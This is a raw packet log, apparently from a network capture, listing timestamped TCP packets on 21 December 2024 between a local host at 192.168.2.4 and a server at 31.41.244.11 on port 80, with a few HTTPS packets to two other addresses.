                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.917213917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.917885065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.918160915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.918207884 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.919064999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.919115067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.919240952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.919286013 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.920264006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.920311928 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.920336962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.920382023 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.921468973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.921514988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.921662092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.922631025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.922683954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.922729015 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.922777891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.923700094 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.923760891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.923906088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.923954964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.924906015 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.924942017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.924957037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.924984932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.926074028 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.926167965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.926171064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.926213980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.927138090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.927212000 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.927289009 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.927331924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.928288937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.928339005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.928410053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.928456068 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.929480076 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.929514885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.929560900 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.930562973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.930624008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.930700064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.930746078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.931794882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.931855917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.931925058 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.931972980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.932945967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.932995081 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.933022022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.933067083 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.934042931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.934186935 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.934197903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.934245110 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.935342073 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.935378075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.935389996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.935422897 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.936335087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.936424017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.936430931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.936475039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.937458038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.937508106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.937583923 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.937633038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.938657999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.938704967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.938926935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.938971996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.939747095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.939805031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.939863920 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.939910889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.940939903 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.940974951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.941028118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.963047981 CET49867443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.963093042 CET44349867104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.963176966 CET49867443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.963556051 CET49867443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.963587999 CET44349867104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.982975960 CET49862443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.982995033 CET44349862172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.983481884 CET44349862172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.985645056 CET49862443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.988980055 CET49862443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.031377077 CET44349862172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.041932106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042030096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042037964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042068005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042078018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042114019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042171001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042237043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042474031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042510033 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042529106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.042555094 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.044281006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.044338942 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077415943 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077470064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077605009 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077656984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077703953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077740908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077761889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.077785969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.078823090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.078882933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.078927040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.079005957 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.079972029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.080054998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.080300093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.080354929 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.081168890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.081245899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.081274033 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.081324100 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.082262039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.082315922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.082453966 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.082501888 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.083560944 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.083616972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.083681107 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.083744049 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.084620953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.084665060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.084744930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.084794998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.085890055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.085942030 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.086019039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.086071968 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.087021112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.087073088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.087097883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.087152004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.088119030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.088155031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.088174105 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.088191032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.089183092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.089234114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.089270115 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.089385033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.090372086 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.090420008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.090637922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.090698957 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.091483116 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.091525078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.091752052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.091834068 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.092619896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.092669964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.092755079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.092806101 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.093925953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.093976974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.094048023 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.094145060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.094902039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.094958067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.095024109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.095074892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.096077919 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.096132040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.096170902 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.096221924 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.097201109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.097251892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.097338915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.097389936 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.098347902 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.098402977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.098472118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.098525047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.099473953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.099533081 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.099590063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.099642038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.100649118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.100699902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.100784063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.100934982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.101846933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.101898909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.101938009 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.101986885 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.103020906 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.103070021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.103112936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.103163004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.104191065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.104240894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.104283094 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.104327917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.105299950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.105356932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.105479002 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.105535030 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.106394053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.106448889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.106484890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.106551886 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.107547998 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.107600927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.107625008 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.107675076 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.108757019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.108808994 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.108834982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.108880043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.109854937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.109910965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.109925985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.109978914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.110997915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.111048937 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.111123085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.111255884 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.112107992 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.112159967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.112221956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.112271070 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.113290071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.113363028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.113421917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.113471031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.114382982 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.114435911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.114557981 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.114613056 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.115667105 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.115721941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.115775108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.116774082 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.116807938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.116827965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.116857052 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.117887020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.117944002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.117990971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.118042946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.119000912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.119059086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.119179964 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.119261980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.120203972 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.120239019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.120254993 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.120291948 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:48.121325016 CET804985031.41.244.11192.168.2.4
